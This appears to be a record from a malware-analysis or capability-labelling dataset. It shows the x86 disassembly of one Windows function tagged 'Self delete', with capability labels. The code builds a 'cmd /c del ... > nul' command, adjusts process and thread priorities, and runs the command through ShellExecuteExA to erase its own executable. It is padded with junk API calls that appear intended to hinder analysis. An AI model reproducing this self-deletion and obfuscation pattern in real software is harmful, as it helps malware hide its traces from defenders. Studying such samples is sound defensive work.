Function at 0x401d00
Capabilities:
Create process on windows
Get file attributes
Self delete
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x3c
push ebp
push esi
push edi
call fcn.00401cb0
test eax, eax
je 0x402010
push str._c_del
push 0x405178
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x405280
push 0x405178
call edi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
call esi
test eax, eax
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileType]
push 0
je 0x401d6b
push 0
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x401d7d
call ebp
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.___nul
push 0x405178
call edi
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
mov dword [esp + 0x20], 0x3c
call esi
test eax, eax
push 0
je 0x401dc1
push 0
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
jmp 0x401dd5
call ebp
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], str.Open
call esi
test eax, eax
push 0
je 0x401e0f
push 0
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x401e1d
call ebp
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
mov dword [esp + 0x30], 0x405388
mov dword [esp + 0x34], 0x405178
mov dword [esp + 0x38], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x24], 0x40
call esi
test eax, eax
push 0
je 0x401e6f
push 0
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x401e7d
call ebp
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
call esi
test eax, eax
push 0
je 0x401eb9
push 0
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x401ec7
call ebp
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
call esi
test eax, eax
push 0
je 0x401f00
push 0
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x401f0e
call ebp
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x401f7b
mov ecx, dword [esp + 0x44]
push 0x40
push ecx
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
call esi
test eax, eax
push 0
je 0x401f54
push 0
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x401f62
call ebp
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edx, dword [esp + 0x44]
push 1
push edx
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x3c
ret
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
call esi
test eax, eax
push 0
je 0x401fa5
push 0
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x401fb3
call ebp
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
call esi
test eax, eax
push 0
je 0x402002
push 0
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x3c
ret
call ebp
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x3c
ret